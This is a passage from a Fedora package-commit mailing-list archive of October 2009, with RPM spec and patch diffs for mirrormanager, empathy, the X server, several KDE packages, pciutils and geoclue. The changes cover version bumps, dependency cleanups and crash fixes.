 BuildRequires:  python
-Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14
+Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14, py-radix, mod_wsgi
+Requires(pre):  shadow-utils
 
 %define py_ver         %(echo `python -c "import sys; print sys.version[:3]"`)
 %if "%{py_ver}" < "2.5"
@@ -48,20 +49,31 @@ make install DESTDIR=$RPM_BUILD_ROOT CON
 rm -rf $RPM_BUILD_ROOT
 
 
+%pre
+getent group mirrormanager >/dev/null || groupadd -r mirrormanager
+getent passwd mirrormanager >/dev/null || \
+  useradd -r -g mirrormanager -d /var/lib/mirrormanager -s /sbin/nologin \
+  -c "MirrorManager" mirrormanager
+exit 0
+
 %files
 %defattr(-,root,root,-)
-%dir %{_localstatedir}/lib/%{name}/
-%dir %{_localstatedir}/run/%{name}/
-%dir %{_localstatedir}/log/%{name}/
-%dir %{_localstatedir}/log/%{name}/crawler/
-%dir %{_localstatedir}/lock/%{name}/
-%dir %{_sysconfdir}/%{name}/
 %{_datadir}/%{name}
-%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
-%config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrormanager.conf
-%config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrorlist-server.conf
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/lib/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/run/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/log/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/log/%{name}/crawler/
+%attr(-,mirrormanager,mirrormanager) %dir %{_localstatedir}/lock/%{name}/
+%attr(-,mirrormanager,mirrormanager) %dir %{_sysconfdir}/%{name}/
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) /etc/mirrormanager/prod.cfg
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrormanager.conf
+%attr(-,mirrormanager,mirrormanager) %config(noreplace) %{_sysconfdir}/httpd/conf.d/mirrorlist-server.conf
+%dir /etc/rpmlint/
+%config(noreplace) /etc/rpmlint/%{name}.config
 %doc LICENSES LICENSE-MIT-X11 LICENSE-GPLv2
-%doc server/*.cfg
+%doc server/*.cfg server/prod.cfg.example README.rpm_setup
+%doc server/UPGRADING.txt server/sqlobject-patches/
 
 %files client
 %defattr(-,root,root,-)
@@ -72,6 +84,20 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-1
+- initial setup patches from BJ Dierkes
+  - simpler mirrormanager.initial, README.rpm_setup, prod.cfg
+  - add user mirrormanager and group mirrormanager, content permissions
+- improved BGP ASN lookups using py-radix
+- create mirrormanager user and group if not already present
+
+* Thu Sep 28 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.2-1
+- add BGP ASN lookups
+
+* Fri Sep 18 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.1-1
+- fix publiclist html
+- fix Host netblock creation via web UI
+
 * Mon Sep  7 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.0-1
 - add CSRF protection, add Requires: python-fedora
 - add IPv6 capability


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	9 Sep 2009 02:31:26 -0000	1.7
+++ sources	26 Oct 2009 15:41:31 -0000	1.8
@@ -1 +1 @@
-1be6ae3e072b88fe37d1e3cf01237820  mirrormanager-1.3.0.tar.bz2
+d8948d971a5298d91769a2aa8ec0c753  mirrormanager-1.3.3.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 26 15:46:11 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 15:46:11 +0000 (UTC)
Subject: rpms/empathy/F-12
	0001-dispatcher_request_handles_cb-use-request_data-dispa.patch,
	NONE, 1.1 empathy.spec, 1.83, 1.84
Message-ID: <20091026154611.1986C11C0268@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11538

Modified Files:
	empathy.spec 
Added Files:
	0001-dispatcher_request_handles_cb-use-request_data-dispa.patch 
Log Message:
another crash fix


0001-dispatcher_request_handles_cb-use-request_data-dispa.patch:
 empathy-dispatcher.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0001-dispatcher_request_handles_cb-use-request_data-dispa.patch ---
>From 054f27602448890116a67447e07032eb228bc82c Mon Sep 17 00:00:00 2001
From: Guillaume Desmottes <guillaume.desmottes at collabora.co.uk>
Date: Mon, 26 Oct 2009 15:31:26 +0000
Subject: [PATCH] dispatcher_request_handles_cb: use request_data->dispatcher to get the self pointer

We don't pass a weak pointer to tp_cli_connection_call_request_handles
so we can't rely on it (#599612).
---
 libempathy/empathy-dispatcher.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/libempathy/empathy-dispatcher.c b/libempathy/empathy-dispatcher.c
index 1cb4189..5d20a16 100644
--- a/libempathy/empathy-dispatcher.c
+++ b/libempathy/empathy-dispatcher.c
@@ -1445,7 +1445,7 @@ dispatcher_request_handles_cb (TpConnection *connection,
 
   if (error != NULL)
     {
-      EmpathyDispatcher *dispatcher = EMPATHY_DISPATCHER (object);
+      EmpathyDispatcher *dispatcher = request_data->dispatcher;
       EmpathyDispatcherPriv *priv = GET_PRIV (dispatcher);
       ConnectionData *cd;
 
-- 
1.6.5.1



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- empathy.spec	26 Oct 2009 00:15:24 -0000	1.83
+++ empathy.spec	26 Oct 2009 15:46:10 -0000	1.84
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.1
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -37,6 +37,7 @@ Patch5:		%{name}-broken-nm.patch
 Patch6: 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch
 Patch7: 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch
 Patch8: 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch
+Patch9: 0001-dispatcher_request_handles_cb-use-request_data-dispa.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -144,6 +145,7 @@ bindings to the libempathy and libempath
 %patch6 -p1 -b .dont-cache-conman
 %patch7 -p1 -b .dont-update-contacts
 %patch8 -p1 -b .join-chat-crash
+%patch9 -p1 -b .room-typo-crash
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -252,6 +254,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-3
+- Another upstream crash fix
+
 * Sun Oct 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
 - Include a number of crash fixes from the stable branch
 



From ajax at fedoraproject.org  Mon Oct 26 15:46:03 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 15:46:03 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 .cvsignore, 1.78, 1.79 sources, 1.73,
	1.74 xorg-x11-server.spec, 1.496, 1.497 xvfb-run.sh, 1.2,
	1.3 xserver-1.5.99.902-sod-off-poulsbo.patch, 1.1,
	NONE xserver-1.7.0-exa-looping-forever-is-evil.patch, 1.1, NONE
Message-ID: <20091026154603.B6A1011C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11559

Modified Files:
	.cvsignore sources xorg-x11-server.spec xvfb-run.sh 
Removed Files:
	xserver-1.5.99.902-sod-off-poulsbo.patch 
	xserver-1.7.0-exa-looping-forever-is-evil.patch 
Log Message:
* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.7.1-1
- xserver 1.7.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/.cvsignore,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- .cvsignore	5 Oct 2009 04:31:11 -0000	1.78
+++ .cvsignore	26 Oct 2009 15:46:03 -0000	1.79
@@ -1 +1 @@
-xorg-server-1.7.0.tar.bz2
+xorg-server-1.7.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/sources,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- sources	5 Oct 2009 04:31:11 -0000	1.73
+++ sources	26 Oct 2009 15:46:03 -0000	1.74
@@ -1 +1 @@
-e0b70d3d542959f677210172d2b0f237  xorg-server-1.7.0.tar.bz2
+dda7842467cda6018fdc87e6002e4db1  xorg-server-1.7.1.tar.bz2


Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.496
retrieving revision 1.497
diff -u -p -r1.496 -r1.497
--- xorg-x11-server.spec	24 Oct 2009 00:58:32 -0000	1.496
+++ xorg-x11-server.spec	26 Oct 2009 15:46:03 -0000	1.497
@@ -18,8 +18,8 @@
 
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
-Version:   1.7.0
-Release:   5%{dist}
+Version:   1.7.1
+Release:   1%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -74,7 +74,6 @@ Patch6033: xserver-1.6.99-default-modes.
 Patch6044: xserver-1.6.99-hush-prerelease-warning.patch
 Patch6045: xserver-1.7.0-randr-gamma-restore.patch
 
-Patch6046: xserver-1.7.0-exa-looping-forever-is-evil.patch
 Patch6047: xserver-1.7.0-glx-versioning.patch
 Patch6048: xserver-1.7.0-exa-fix-mixed.patch
 
@@ -505,6 +504,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.7.1-1
+- xserver 1.7.1
+
 * Sat Oct 24 2009 Ben Skeggs <bskegg at redhat.com> 1.7.0-5
 - Fix unbalancing of Prepare/FinishAccess in EXA mixed pixmaps (rh#528005)
 




--- xserver-1.5.99.902-sod-off-poulsbo.patch DELETED ---


--- xserver-1.7.0-exa-looping-forever-is-evil.patch DELETED ---



From than at fedoraproject.org  Mon Oct 26 15:56:13 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 15:56:13 +0000 (UTC)
Subject: rpms/kdenetwork/F-12 kdenetwork.spec,1.203,1.204
Message-ID: <20091026155613.096AE11C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdenetwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15201

Modified Files:
	kdenetwork.spec 
Log Message:
rhel cleanup




Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-12/kdenetwork.spec,v
retrieving revision 1.203
retrieving revision 1.204
diff -u -p -r1.203 -r1.204
--- kdenetwork.spec	9 Oct 2009 00:11:45 -0000	1.203
+++ kdenetwork.spec	26 Oct 2009 15:56:11 -0000	1.204
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -20,7 +20,10 @@ Patch200: kdenetwork-4.3.0-jabber-kde#11
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+%if 0%{?fedora}
 BuildRequires: avahi-compat-libdns_sd-devel
+BuildRequires: webkitpart-devel
+%endif
 BuildRequires: boost-devel
 # FIXME/TODO
 #BuildRequires: decibel-devel
@@ -48,9 +51,6 @@ BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
 BuildRequires: alsa-lib-devel
-%if 0%{?fedora}
-BuildRequires: webkitpart-devel
-%endif
 # FIXME/TODO: libnxcl-devel
 
 Requires: kdepimlibs%{?_isa} >= %{version}
@@ -157,7 +157,9 @@ fi
 %{_kde4_appsdir}/kconf_update/*
 %{_kde4_appsdir}/kget/
 %{_kde4_appsdir}/khtml/kpartplugins/kget_plug_in.rc
+%if 0%{?fedora}
 %{_kde4_appsdir}/webkitpart/kpartplugins/kget_plug_in.rc
+%endif
 %{_kde4_appsdir}/kopete*
 %{_kde4_appsdir}/kppp/
 %{_kde4_appsdir}/krfb/
@@ -191,6 +193,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-4
+- rhel cleanup
+
 * Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
 - fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
 



From than at fedoraproject.org  Mon Oct 26 15:56:51 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 15:56:51 +0000 (UTC)
Subject: rpms/kdenetwork/devel kdenetwork.spec,1.203,1.204
Message-ID: <20091026155651.8C0FB11C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15500

Modified Files:
	kdenetwork.spec 
Log Message:
rhel cleanup




Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/kdenetwork.spec,v
retrieving revision 1.203
retrieving revision 1.204
diff -u -p -r1.203 -r1.204
--- kdenetwork.spec	9 Oct 2009 00:10:59 -0000	1.203
+++ kdenetwork.spec	26 Oct 2009 15:56:51 -0000	1.204
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -20,7 +20,10 @@ Patch200: kdenetwork-4.3.0-jabber-kde#11
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+%if 0%{?fedora}
 BuildRequires: avahi-compat-libdns_sd-devel
+BuildRequires: webkitpart-devel
+%endif
 BuildRequires: boost-devel
 # FIXME/TODO
 #BuildRequires: decibel-devel
@@ -48,9 +51,6 @@ BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
 BuildRequires: alsa-lib-devel
-%if 0%{?fedora}
-BuildRequires: webkitpart-devel
-%endif
 # FIXME/TODO: libnxcl-devel
 
 Requires: kdepimlibs%{?_isa} >= %{version}
@@ -157,7 +157,9 @@ fi
 %{_kde4_appsdir}/kconf_update/*
 %{_kde4_appsdir}/kget/
 %{_kde4_appsdir}/khtml/kpartplugins/kget_plug_in.rc
+%if 0%{?fedora}
 %{_kde4_appsdir}/webkitpart/kpartplugins/kget_plug_in.rc
+%endif
 %{_kde4_appsdir}/kopete*
 %{_kde4_appsdir}/kppp/
 %{_kde4_appsdir}/krfb/
@@ -191,6 +193,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-4
+- rhel cleanup
+
 * Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
 - fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
 



From than at fedoraproject.org  Mon Oct 26 16:04:10 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 16:04:10 +0000 (UTC)
Subject: rpms/konq-plugins/F-12 konq-plugins.spec,1.33,1.34
Message-ID: <20091026160410.7D0C411C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/konq-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17386

Modified Files:
	konq-plugins.spec 
Log Message:
rhel cleanup



Index: konq-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/konq-plugins/F-12/konq-plugins.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- konq-plugins.spec	27 Sep 2009 21:26:34 -0000	1.33
+++ konq-plugins.spec	26 Oct 2009 16:04:10 -0000	1.34
@@ -2,7 +2,7 @@
 
 Name:           konq-plugins
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plugins that interact with konqueror
 
 Group:          Applications/Internet
@@ -14,7 +14,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires: cmake
 BuildRequires: gettext
 BuildRequires: kdebase4-devel >= %{version}
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
 Requires: kdebase4%{?_isa} >= %{version} 
@@ -124,7 +126,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_appsdir}/konqueror/icons/*
 %{_kde4_appsdir}/konqueror/kpartplugins/*
 %{_kde4_appsdir}/konqueror/opensearch/*
+%if 0%{?fedora}
 %{_kde4_appsdir}/webkitpart/kpartplugins/*
+%endif
 %{_kde4_datadir}/config.kcfg/validators.kcfg
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/services/ServiceMenus/*.desktop
@@ -133,6 +137,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_libdir}/kde4/*.so
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.1-3
+- rhel cleanup
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - BR: webkitpart-devel
 - use %%find_lang --all-names --with-kde



From than at fedoraproject.org  Mon Oct 26 16:07:35 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 16:07:35 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12 kdeplasma-addons.spec,1.65,1.66
Message-ID: <20091026160735.DCB7611C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18040

Modified Files:
	kdeplasma-addons.spec 
Log Message:
remove duplicate BR on eigen2-devel



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- kdeplasma-addons.spec	21 Oct 2009 00:06:32 -0000	1.65
+++ kdeplasma-addons.spec	26 Oct 2009 16:07:35 -0000	1.66
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -18,7 +18,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
-BuildRequires:  eigen2-devel
 BuildRequires:  gettext
 BuildRequires:  kdepimlibs-devel >= %{version}
 # for libplasmaclock, nepomuk
@@ -165,6 +164,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-5
+- remove duplicate BR on eigen2-devel
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
 - rebuild (eigen2)
 



From than at fedoraproject.org  Mon Oct 26 16:08:40 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 16:08:40 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.69,1.70
Message-ID: <20091026160840.9B0FF11C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18312

Modified Files:
	kdeplasma-addons.spec 
Log Message:
remove duplicate BR on eigen2-devel



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- kdeplasma-addons.spec	21 Oct 2009 00:06:31 -0000	1.69
+++ kdeplasma-addons.spec	26 Oct 2009 16:08:40 -0000	1.70
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -18,7 +18,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
-BuildRequires:  eigen2-devel
 BuildRequires:  gettext
 BuildRequires:  kdepimlibs-devel >= %{version}
 # for libplasmaclock, nepomuk
@@ -165,6 +164,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-5
+- remove duplicate BR on eigen2-devel
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
 - rebuild (eigen2)
 



From than at fedoraproject.org  Mon Oct 26 16:18:37 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon, 26 Oct 2009 16:18:37 +0000 (UTC)
Subject: rpms/konq-plugins/devel konq-plugins.spec,1.33,1.34
Message-ID: <20091026161837.0CE7911C0268@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/konq-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20897

Modified Files:
	konq-plugins.spec 
Log Message:
 rhel cleanup




Index: konq-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/konq-plugins/devel/konq-plugins.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- konq-plugins.spec	27 Sep 2009 21:26:34 -0000	1.33
+++ konq-plugins.spec	26 Oct 2009 16:18:35 -0000	1.34
@@ -2,7 +2,7 @@
 
 Name:           konq-plugins
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plugins that interact with konqueror
 
 Group:          Applications/Internet
@@ -14,7 +14,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires: cmake
 BuildRequires: gettext
 BuildRequires: kdebase4-devel >= %{version}
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
 Requires: kdebase4%{?_isa} >= %{version} 
@@ -124,7 +126,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_appsdir}/konqueror/icons/*
 %{_kde4_appsdir}/konqueror/kpartplugins/*
 %{_kde4_appsdir}/konqueror/opensearch/*
+%if 0%{?fedora}
 %{_kde4_appsdir}/webkitpart/kpartplugins/*
+%endif
 %{_kde4_datadir}/config.kcfg/validators.kcfg
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/services/ServiceMenus/*.desktop
@@ -133,6 +137,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %{_kde4_libdir}/kde4/*.so
 
 %changelog
+* Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.1-3
+- rhel cleanup
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - BR: webkitpart-devel
 - use %%find_lang --all-names --with-kde



From mhlavink at fedoraproject.org  Mon Oct 26 16:20:06 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 26 Oct 2009 16:20:06 +0000 (UTC)
Subject: rpms/pciutils/F-12 pciutils-3.0.2-multilib.patch, 1.4,
	1.5 pciutils.spec, 1.79, 1.80
Message-ID: <20091026162006.BBB3D11C02BB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21478

Modified Files:
	pciutils-3.0.2-multilib.patch pciutils.spec 
Log Message:
* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-5
- fix build to enable -F option (#531020)


pciutils-3.0.2-multilib.patch:
 configure |   60 +++++++++++++++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 49 insertions(+), 11 deletions(-)

Index: pciutils-3.0.2-multilib.patch
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils-3.0.2-multilib.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pciutils-3.0.2-multilib.patch	23 Oct 2009 15:57:45 -0000	1.4
+++ pciutils-3.0.2-multilib.patch	26 Oct 2009 16:20:06 -0000	1.5
@@ -76,15 +76,6 @@ diff -up pciutils-3.1.4/lib/configure.mu
  		;;
  	sunos)
  		case $cpu in
-@@ -130,7 +165,7 @@ case $sys in
- 		;;
- esac
- 
--echo >>$c '#define PCI_HAVE_PM_DUMP'
-+echo >>$cm '#define PCI_HAVE_PM_DUMP'
- echo " dump"
- 
- echo_n "Checking for zlib support... "
 @@ -153,6 +188,7 @@ else
  	echo >>$c '#define PCI_IDS "pci.ids"'
  fi


Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- pciutils.spec	23 Oct 2009 15:57:45 -0000	1.79
+++ pciutils.spec	26 Oct 2009 16:20:06 -0000	1.80
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	4%{?dist}
+Release: 	5%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 
 #truncate too long names (#205948)
@@ -140,6 +140,9 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-5
+- fix build to enable -F option (#531020)
+
 * Fri Oct 23 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
 - use direct hardware access method for 64bit architectures
 



From pbrobinson at fedoraproject.org  Mon Oct 26 16:26:31 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 16:26:31 +0000 (UTC)
Subject: rpms/geoclue/F-11 geoclue.spec, 1.18, 1.19 geoclue-nm08.patch, 1.1,
	NONE
Message-ID: <20091026162631.6DD0411C0268@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/geoclue/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24004

Modified Files:
	geoclue.spec 
Removed Files:
	geoclue-nm08.patch 
Log Message:
- Drop nm08 patch


Index: geoclue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-11/geoclue.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- geoclue.spec	26 Oct 2009 14:11:27 -0000	1.18
+++ geoclue.spec	26 Oct 2009 16:26:31 -0000	1.19
@@ -9,7 +9,7 @@
 
 Name:           geoclue
 Version:        0.11.1.1
-Release:        0.9.%{snapshot}%{?dist}
+Release:        0.9.1.%{snapshot}%{?dist}
 Summary:        A modular geoinformation service
 
 Group:          System Environment/Libraries
@@ -17,7 +17,6 @@ License:        LGPLv2
 URL:            http://geoclue.freedesktop.org/
 #Source0:        http://folks.o-hand.com/jku/geoclue-releases/%{name}-%{version}.tar.gz
 Source0:        %{tarfile}
-Patch0:         geoclue-nm08.patch
 Patch1:         geoclue-fixgpsd.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -102,7 +101,6 @@ A gsmloc provider for geoclue
 
 %prep
 %setup -q
-%patch0 -p1 -b .nm08
 %patch1 -p1 -b .fixgpsd
 
 %build
@@ -191,6 +189,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gsmloc.service
 
 %changelog
+* Mon Oct 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.9.1
+- Drop nm08 patch
+
 * Mon Oct 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.9
 - New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin
 


--- geoclue-nm08.patch DELETED ---



From rdieter at fedoraproject.org  Mon Oct 26 16:27:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:27:36 +0000 (UTC)
Subject: rpms/jasper/F-12 jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE, 1.1 jasper.spec,
	1.34, 1.35
Message-ID: <20091026162736.46C3311C0268@cvs1.fedora.phx.redhat.com>

